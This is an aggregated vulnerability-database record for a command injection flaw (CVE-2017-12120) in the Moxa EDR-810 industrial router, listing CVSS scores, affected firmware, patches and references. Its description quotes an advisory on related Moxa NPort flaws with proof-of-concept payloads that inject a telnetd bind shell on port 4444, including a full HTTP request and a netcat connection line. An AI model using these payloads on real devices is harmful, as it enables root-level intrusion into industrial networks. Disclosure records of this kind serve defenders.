ID

VAR-201805-0120


CVE

CVE-2017-12120


TITLE

Moxa EDR-810 In OS Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2017-013408

DESCRIPTION

An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation, resulting in a root shell. An attacker can inject OS commands into the ip= parm in the "/goform/net_WebPingGetValue" URI to trigger this vulnerability. Moxa EDR-810 Is OS A command injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The EDR-810 is a highly integrated industrial multiport secure router with firewall/NAT/VPN and two layers of manageable switch functionality. Moxa EDR-810 is a secure router with firewall and VPN functions from Moxa. Moxa NPort W2x50A products with firmware version 2.1 Build_17112017 or lower are vulnerable to several authenticated OS Command Injection vulnerabilities: #1 Authenticated OS Command Injection in web server ping functionality Reserverd CVE ID: CVE-2018-19659 A specially crafted HTTP POST request to /goform/net_WebPingGetValue can result in running OS commands as the root user. Exploitation required authentication. This is similar to CVE-2017-12120. Proof-of-concept: 1. Authenticate to Moxa NPort W2x50A device. 2. Go to Main menu a System Management a Maintenance a Ping a Destination 3. Enter ;telnetd -l/bin/sh -p4444&;. in 'Destination' field 4. Connect to opened bind shell: nc $IP_ADDRESS 4444 #2 Authenticated OS Command Injection in web server wlan profile properties functionality Reserverd CVE ID: CVE-2018-19660 A specially crafted HTTP POST request to /goform/net_WebSettingProfileSecurity can result in running OS commands as the root user. Exploitation required authentication. Proof-of-concept (sample HTTP request opening bind shell on port 4444): POST /goform/webSettingProfileSecurity?profileID=1 HTTP/1.1 Host: {IP:PORT} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: SessionID={YOURSESSIONID} Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 309 Authentication=3&EAP_method=1&Username= ;telnetd -l/bin/sh -p4444&; These vulnerabilities were fixed in the firmware version 2.2 Build_18082311. https://www.moxa.com/support/download.aspx?type=support&id=14781 Best regards, Maksim Khazov

Trust: 2.34

sources: NVD: CVE-2017-12120 // JVNDB: JVNDB-2017-013408 // CNVD: CNVD-2018-11722 // VULHUB: VHN-102611 // PACKETSTORM: 150535

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2018-11722

AFFECTED PRODUCTS

vendor:moxamodel:edr-810scope:eqversion:4.1

Trust: 1.6

vendor:moxamodel:edr-810 seriesscope:eqversion:4.1 build 17030317

Trust: 0.8

vendor:moxamodel:edr-810 buildscope:eqversion:v4.117030317

Trust: 0.6

sources: CNVD: CNVD-2018-11722 // JVNDB: JVNDB-2017-013408 // CNNVD: CNNVD-201707-1633 // NVD: CVE-2017-12120

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2017-12120
value: HIGH

Trust: 1.0

talos-cna@cisco.com: CVE-2017-12120
value: HIGH

Trust: 1.0

NVD: CVE-2017-12120
value: HIGH

Trust: 0.8

CNVD: CNVD-2018-11722
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201707-1633
value: HIGH

Trust: 0.6

VULHUB: VHN-102611
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2017-12120
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2018-11722
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-102611
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

talos-cna@cisco.com: CVE-2017-12120
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

nvd@nist.gov: CVE-2017-12120
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.1

Trust: 1.0

sources: CNVD: CNVD-2018-11722 // VULHUB: VHN-102611 // JVNDB: JVNDB-2017-013408 // CNNVD: CNNVD-201707-1633 // NVD: CVE-2017-12120 // NVD: CVE-2017-12120

PROBLEMTYPE DATA

problemtype:CWE-78

Trust: 1.9

sources: VULHUB: VHN-102611 // JVNDB: JVNDB-2017-013408 // NVD: CVE-2017-12120

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201707-1633

TYPE

operating system commend injection

Trust: 0.6

sources: CNNVD: CNNVD-201707-1633

CONFIGURATIONS

sources: JVNDB: JVNDB-2017-013408

PATCH

title:EDR-810 Seriesurl:https://www.moxa.com/product/EDR-810.htm

Trust: 0.8

title:Patch for MoxaEDR-810 Command Injection Vulnerability (CNVD-2018-11722)url:https://www.cnvd.org.cn/patchInfo/show/132223

Trust: 0.6

title:Moxa EDR-810 Fixes for command injection vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=190034

Trust: 0.6

sources: CNVD: CNVD-2018-11722 // JVNDB: JVNDB-2017-013408 // CNNVD: CNNVD-201707-1633

EXTERNAL IDS

db:NVDid:CVE-2017-12120

Trust: 3.2

db:TALOSid:TALOS-2017-0472

Trust: 3.1

db:JVNDBid:JVNDB-2017-013408

Trust: 0.8

db:CNNVDid:CNNVD-201707-1633

Trust: 0.7

db:CNVDid:CNVD-2018-11722

Trust: 0.6

db:PACKETSTORMid:150535

Trust: 0.2

db:SEEBUGid:SSVID-97231

Trust: 0.1

db:VULHUBid:VHN-102611

Trust: 0.1

sources: CNVD: CNVD-2018-11722 // VULHUB: VHN-102611 // JVNDB: JVNDB-2017-013408 // PACKETSTORM: 150535 // CNNVD: CNNVD-201707-1633 // NVD: CVE-2017-12120

REFERENCES

url:https://www.talosintelligence.com/vulnerability_reports/talos-2017-0472

Trust: 2.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-12120

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-12120

Trust: 0.8

url:https://talosintelligence.com/vulnerability_reports/talos-2017-0472

Trust: 0.6

url:https://nvd.nist.gov/vuln/detail/cve-2018-19660

Trust: 0.1

url:https://www.moxa.com/support/download.aspx?type=support&id=14781

Trust: 0.1

sources: CNVD: CNVD-2018-11722 // VULHUB: VHN-102611 // JVNDB: JVNDB-2017-013408 // PACKETSTORM: 150535 // CNNVD: CNNVD-201707-1633 // NVD: CVE-2017-12120

CREDITS

Maxim Khazov

Trust: 0.1

sources: PACKETSTORM: 150535

SOURCES

db:CNVDid:CNVD-2018-11722
db:VULHUBid:VHN-102611
db:JVNDBid:JVNDB-2017-013408
db:PACKETSTORMid:150535
db:CNNVDid:CNNVD-201707-1633
db:NVDid:CVE-2017-12120

LAST UPDATE DATE

2024-11-23T22:06:23.084000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2018-11722date:2018-06-20T00:00:00
db:VULHUBid:VHN-102611date:2022-12-14T00:00:00
db:JVNDBid:JVNDB-2017-013408date:2018-07-05T00:00:00
db:CNNVDid:CNNVD-201707-1633date:2022-04-20T00:00:00
db:NVDid:CVE-2017-12120date:2024-11-21T03:08:52.180

SOURCES RELEASE DATE

db:CNVDid:CNVD-2018-11722date:2018-06-20T00:00:00
db:VULHUBid:VHN-102611date:2018-05-14T00:00:00
db:JVNDBid:JVNDB-2017-013408date:2018-07-05T00:00:00
db:PACKETSTORMid:150535date:2018-11-29T23:44:44
db:CNNVDid:CNNVD-201707-1633date:2017-07-31T00:00:00
db:NVDid:CVE-2017-12120date:2018-05-14T20:29:00.203